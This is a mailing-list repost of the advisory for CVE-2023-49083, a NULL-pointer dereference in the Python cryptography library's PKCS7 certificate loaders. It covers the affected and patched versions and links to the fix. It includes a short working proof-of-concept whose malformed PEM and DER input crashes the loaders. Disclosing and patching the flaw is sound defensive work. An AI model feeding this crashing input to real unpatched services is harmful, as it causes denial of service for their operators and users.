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Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates
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From: Alan Coopersmith <alan.coopersmith () oracle com>
Date: Wed, 29 Nov 2023 11:30:39 -0800
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https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
reports:
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Affected versions >= 3.1, < 41.0.6
Patched versions >=41.0.6
Summary
Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to
a NULL-pointer dereference and segfault.
PoC
Here is a Python code that triggers the issue:
from cryptography.hazmat.primitives.serialization.pkcs7 import
load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service
(DoS) for any application attempting to deserialize a PKCS7 blob/certificate.
The consequences extend to potential disruptions in system availability and
stability.
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The fix was in https://github.com/pyca/cryptography/pull/9926
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-Alan Coopersmith- alan.coopersmith () oracle com
Oracle Solaris Engineering - https://blogs.oracle.com/solaris
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